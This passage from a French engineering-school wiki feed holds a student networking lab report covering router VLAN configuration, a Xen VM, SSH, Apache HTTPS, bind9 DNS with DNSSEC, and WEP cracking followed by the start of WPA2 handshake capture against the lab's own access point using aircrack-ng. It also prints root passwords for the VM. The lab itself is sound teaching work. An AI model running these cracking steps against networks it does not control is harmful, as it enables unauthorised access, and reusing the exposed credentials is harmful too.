   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Bssid.png&amp;diff=51576</id>
		<title>Fichier:Bssid.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Bssid.png&amp;diff=51576"/>
				<updated>2019-12-07T02:43:15Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : Bssid&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Bssid&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51575</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51575"/>
				<updated>2019-12-07T02:42:39Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Cassage WEP */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
 [ ok ] Restarting Apache httpd web server: apache2.&lt;br /&gt;
&lt;br /&gt;
On peut vérifier notre configuration : &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
 VirtualHost configuration:&lt;br /&gt;
 *:80                   www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:1)&lt;br /&gt;
 *:443                  www.ima2a5-zerofun.site (/etc/apache2/sites-enabled/ima2a5-zerofun.site-secu.conf:8)&lt;br /&gt;
 ServerRoot: &amp;quot;/etc/apache2&amp;quot;&lt;br /&gt;
 Main DocumentRoot: &amp;quot;/var/www/html&amp;quot;&lt;br /&gt;
 Main ErrorLog: &amp;quot;/var/log/apache2/error.log&amp;quot;&lt;br /&gt;
 Mutex watchdog-callback: using_defaults&lt;br /&gt;
 Mutex ssl-stapling-refresh: using_defaults&lt;br /&gt;
 Mutex ssl-stapling: using_defaults&lt;br /&gt;
 Mutex ssl-cache: using_defaults&lt;br /&gt;
 Mutex default: dir=&amp;quot;/var/run/apache2/&amp;quot; mechanism=default &lt;br /&gt;
 PidFile: &amp;quot;/var/run/apache2/apache2.pid&amp;quot;&lt;br /&gt;
 Define: DUMP_VHOSTS&lt;br /&gt;
 Define: DUMP_RUN_CFG&lt;br /&gt;
 User: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
 Group: name=&amp;quot;www-data&amp;quot; id=33&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Gestion des certificats====&lt;br /&gt;
&lt;br /&gt;
Gandi nous a fourni la clé intermédiaire (ima2a5-zerofun.pem) , le certificat (ima2a5-zerofun.crt) et on a généré la clé privée (.key) avec openssl &lt;br /&gt;
&lt;br /&gt;
 # openssl req -nodes -newkey rsa:2048 -sha256 -keyout ima2a5-zerofun.key -out ima2a5-zerofun.csr &lt;br /&gt;
&lt;br /&gt;
On places ces fichiers dans /etc/apache2/certificate   pour pouvoir les utiliser dans notre fichier de configuration.&lt;br /&gt;
&lt;br /&gt;
====Aperçu site web ima2a5-zerofun.site====&lt;br /&gt;
&lt;br /&gt;
www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
http://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
https://ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:---home-fabien-Images-site web cav hirt.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du serveur DNS avec bind9===&lt;br /&gt;
Le serveur DNS (Domain Name Server) permet d'associer à une adresse IP, un nom de domaine. Ainsi, pour rechercher un serveur, on donnera son nom plutôt que son adresse IP.&lt;br /&gt;
Pour mettre en place ce DNS, on va utiliser le logiciel open source bind9.&lt;br /&gt;
&lt;br /&gt;
====Installation et paramétrage de bind9====&lt;br /&gt;
&lt;br /&gt;
Installer bind9&lt;br /&gt;
 # apt-get install bind9&lt;br /&gt;
&lt;br /&gt;
Il faut paramétrer bind9. &lt;br /&gt;
D'abord le fichier .conf qui permet de définir les zones de résolution de DNS. &lt;br /&gt;
 &lt;br /&gt;
 #nano /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 //Zone de resolution du domaine ima2a5-zerofun.site&lt;br /&gt;
 zone &amp;quot;ima2a5-zerofun.site&amp;quot; {&lt;br /&gt;
 type master;&lt;br /&gt;
 file &amp;quot;/etc/bind/ima2a5-zerofun.site.signed&amp;quot;;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Le second fichier à paramétrer est le .conf.options, il contient l'ensemble des options de configurations du serveur DNS&lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:/etc/bind# cat named.conf.options &lt;br /&gt;
 options {&lt;br /&gt;
 directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 dnssec-validation auto;&lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
 dnssec-lookaside auto;&lt;br /&gt;
 auth-nxdomain no;    # conform to RFC1035&lt;br /&gt;
 listen-on-v6 { any; };&lt;br /&gt;
 allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; { &lt;br /&gt;
 217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier qui va configurer les zones de résolution&lt;br /&gt;
&lt;br /&gt;
root@ima2a5-zerofun:/etc/bind# cat ima2a5-zerofun.site&lt;br /&gt;
 &lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-ksk.key&lt;br /&gt;
 $include /etc/bind/ima2a5-zerofun.site.dnssec/ima2a5-zerofun.site-zsk.key&lt;br /&gt;
 @       IN      SOA     dns.ima2a5-zerofun.site. root@ima2a5-zerofun.site. (&lt;br /&gt;
                        26112021        ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      dns.ima2a5-zerofun.site.&lt;br /&gt;
 @       IN      NS      ns-9-b.gandi.net.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @	IN	A	193.48.57.161&lt;br /&gt;
 dns     IN      A       193.48.57.161&lt;br /&gt;
 www     IN      A       193.48.57.161   &lt;br /&gt;
 info09  IN      TXT     &amp;quot;Micral&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Notre DNS est maintenant configuré, on relance le service bind9&lt;br /&gt;
 &lt;br /&gt;
 # service bind9 restart&lt;br /&gt;
&lt;br /&gt;
====Gestion des DNS sur gandi.net====&lt;br /&gt;
&lt;br /&gt;
Ajout des DNS sur gandi.net : &lt;br /&gt;
&lt;br /&gt;
On a notre serveur de noms principal : dns.ima2a5-zerofun.site &lt;br /&gt;
&lt;br /&gt;
Ainsi que le serveur de nom secondaire, celui de Gandi : ns6.gandi.net   qui supporte les zones DNSSEC&lt;br /&gt;
&lt;br /&gt;
 [[Fichier:DNSGandi.png]]&lt;br /&gt;
&lt;br /&gt;
Attribution de l'adresse IP de notre DNS principal par le biais d'un Glue record sur le site gandi.net:&lt;br /&gt;
 [[Fichier:GlueRecord.png]]&lt;br /&gt;
&lt;br /&gt;
===Mise en place du DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Génération des clés &lt;br /&gt;
 &lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE ima2a5-zerofun.site&lt;br /&gt;
 dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
Signature de la zone&lt;br /&gt;
&lt;br /&gt;
 dnssec-signzone -o ima2a5-zerofun.site -k ima2a5-zerofun.site-ksk ../ima2a5-zerofun.site ima2a5-zerofun.site-zsk&lt;br /&gt;
&lt;br /&gt;
==Attaque Wifi==&lt;br /&gt;
===Description de l'installation===&lt;br /&gt;
&lt;br /&gt;
===Installation de l'utilitaire AirCrack===&lt;br /&gt;
Pour installer l'utilitaire qui va nous permettre de d'attaquer les clés WEP et WPA2-PSK&lt;br /&gt;
 apt-get install aircrack-ng&lt;br /&gt;
===Cassage WEP===&lt;br /&gt;
&lt;br /&gt;
'''Lister les interfaces sans fil disponibles'''&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng &lt;br /&gt;
 &amp;gt;&amp;gt; phy0 wlx40a5ef0f679b rt2800usb Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
'''Passage de la carte wifi en mode moniteur'''&lt;br /&gt;
&lt;br /&gt;
On souhaite dédier notre clé wifi au sniffage du réseau sans fil. Pour cela, on la passe en mode &amp;lt;&amp;lt;moniteur&amp;gt;&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
 # airmon-ng start wlx40a5ef0f679b     //wlx40a5ef0f679b est le nom de notre interface sans fil. Souvent le pc la renomme en wlan0mon ou autre standard mais cette fois,il ne l'a pas fait. Je ne sais pas pourquoi, mais ce n'est pas grave. &lt;br /&gt;
&lt;br /&gt;
'''Ecoute des trames Wifi sur le canal 2'''&lt;br /&gt;
&lt;br /&gt;
On peut alors sniffer tout ce qui se passe sur le canal 2&lt;br /&gt;
&lt;br /&gt;
 # airodump-ng --encrypt wep -c 2 wlx40a5ef0f679b &lt;br /&gt;
&lt;br /&gt;
[[Fichier:bssid.png]]&lt;br /&gt;
&lt;br /&gt;
Cela nous permet de récupérer le BSSID de notre cracotte01 &lt;br /&gt;
BSSID : 04:DA:D2:9C:50:50&lt;br /&gt;
&lt;br /&gt;
'''Récupération des datas échangées sur le réseau Wifi'''&lt;br /&gt;
&lt;br /&gt;
Puis on va récupérer toutes les données qui transitent sur ce canal en se concentrant uniquement sur les paquets échangés avec notre cracotte01.  &lt;br /&gt;
&lt;br /&gt;
 # airodump-ng -c -2 --bssid 04:DA:D2:9C:50:50 -w data.txt wlx40a5ef0f679b&lt;br /&gt;
&lt;br /&gt;
'''Décryptage de la clé WEP'''&lt;br /&gt;
&lt;br /&gt;
Enfin, on ouvre un autre terminal dans lequel on lance la commande &lt;br /&gt;
 # aircrack-ng -b 04:DA:D2:9C:50:50 data*.cap &lt;br /&gt;
&lt;br /&gt;
Au bout d'une dizaine de minutes (au moins), on obtient la clé ! &lt;br /&gt;
 [[Fichier:Aircrack.png]]&lt;br /&gt;
&lt;br /&gt;
===Cassage WPA2-PSK===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'abord on va lister les interfaces WiFi de notre machine avec la commande &lt;br /&gt;
 airmon-ng &lt;br /&gt;
&lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlx40a5ef0590b2	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on va lancer le &amp;quot;monitor mode&amp;quot; pour dédier l'interface à Aircrack&lt;br /&gt;
 airmon-ng start wlx40a5ef0590b2 &lt;br /&gt;
&lt;br /&gt;
Le pc va renommer l'interface par un nom standard qu'il réutilisera pour d'autres commandes. &lt;br /&gt;
Si on re-check les interfaces, on a maintenant : &lt;br /&gt;
 PHY	Interface	Driver		Chipset&lt;br /&gt;
 phy0	wlan0mon	rt2800usb       Ralink Technology, Corp. RT5370 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on récupère l'adresse MAC du point d'accès avec : &lt;br /&gt;
 airodum-ng --encrypt wpa wlan0mon&lt;br /&gt;
&lt;br /&gt;
On prend le BSSID de notre kracotte01    =&amp;gt;   04:DA:D2:9C:50:58 &lt;br /&gt;
&lt;br /&gt;
Puis on récupère le handshake qui correspond au moment où le kracotte veut entreprendre la communication avec le routeur&lt;br /&gt;
 airodump-ng -w -handshake -c 2 --bssid 04:DA:D2:9C:50:58 wlan0mon&lt;br /&gt;
&lt;br /&gt;
